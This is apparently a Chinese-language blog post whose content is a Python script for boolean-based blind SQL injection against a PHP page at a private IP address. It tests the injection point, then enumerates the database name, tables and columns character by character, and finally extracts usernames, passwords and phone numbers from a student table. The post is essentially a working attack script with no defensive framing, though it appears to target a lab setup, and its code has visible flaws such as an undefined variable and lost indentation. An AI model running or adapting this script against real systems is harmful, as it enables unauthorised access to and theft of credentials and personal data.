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布尔盲注需简化代码
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string
# 判断注入点
paylode1="?id=1 and 1=2"
paylode2="?id=1 and 1=1"
url="http://192.168.28.133/boke/aupdata.php"
#获取正确值
res1=requests.get(f'{url}{paylode2}')
response1 = res1.text
# print(response1)
if len(response)==len(response1):
print('不存在布尔漏洞')
else:
print('存在布尔注入漏洞,判断数据库长度')
a1=0
for a in range(6):
res2 = requests.get(f'{url}?id=1 and length(database())={a}-- -')
response3 = res2.text
if len(response3)==len(response1):
a1=a
print(f"数据库长度为{a},开始爆破库名和表名")
break
low = string.ascii_lowercase
res4=''
for a2 in range(a1+1):
for a3 in low:
res3 = requests.get(f"{url}?id=1 and (substr(database(),{a2},1))='{a3}' -- -")
response4=res3.text
if len(response4) == len(response1):
res4+=a3
print(f'数据库名为{res4}')
# 判断表的数量
a5=0
for a4 in range(10):
res5=requests.get(f"{url}?id=1 and (SELECT count(table_name) from information_schema.tables where table_schema='{res4}')={a4}-- -")
response5 = res5.text
# print(response5)
if len(response5) == len(response1):
a5=a4
res8=[]
# 取表名
for a6 in range(a5):
res7 = ''
for a7 in range(1,10):
for a8 in low:
# print(a6,a7,a8)
res6 = requests.get(f"{url}?id=1 and substr((SELECT table_name from information_schema.tables where table_schema='{res4}' LIMIT {a6},1),{a7},1)='{a8}'-- -")
response6=res6.text
if len(response6) == len(response1):
res7+=a8
res8.append(res7)
print(f'数据库{res4}有{res8}表')
# 遍历表
res13=[]
for a9 in res8:
dic={}
# 取列数
for a10 in range(9):
res9=requests.get(f"{url}?id=1 and (SELECT count(column_name) FROM information_schema.columns where table_schema='{res4}' and table_name='{a9}')={a10}")
response7 = res9.text
if len(response7) == len(response1):
# print(a10) 3,8,4,6,7
res12=[]
# 根据列数遍历,列数为a10
for a11 in range(a10):
res10=''
# 根据每列列明长度遍历
for a12 in range(1,10):
# 判断每列的字符
for a13 in low:
res11 = requests.get(f"{url}?id=1 and substr((SELECT column_name FROM information_schema.columns where table_schema='{res4}' and table_name='{a9}' limit {a11},1),{a12},1)='{a13}'-- -")
response8=res11.text
if len(response8) == len(response1):
res10+=a13
res12.append(res10)
dic[a9]=res12
res13.append(dic)
print(f'库表对应{res13}')
# 取出行数用户表行数
a15=0
for a14 in range(1,3):
res14=requests.get(f"{url}?id=1 and (select count(*) from stu) ={a14}")
response9 = res14.text
if len(response9) == len(response1):
a15=a14
break
#遍历用户名密码手机号
loww='abcdefghijklmnopqrstuvwxyz,1234567890'
res17=[]
for a16 in range(a15):
res16 = ''
for a17 in range(1,25):
for a18 in loww:
res15 = requests.get(f"{url}?id=1 and substr((select concat_ws(',',sname,password,phone) from stu limit {a16},1),{a17},1) ='{a18}'")
response10=res15.text
if len(response10) == len(response1):
res16+=a18
res17.append(res16)
print(f'用户名,密码,电话为{res17}')边栏推荐
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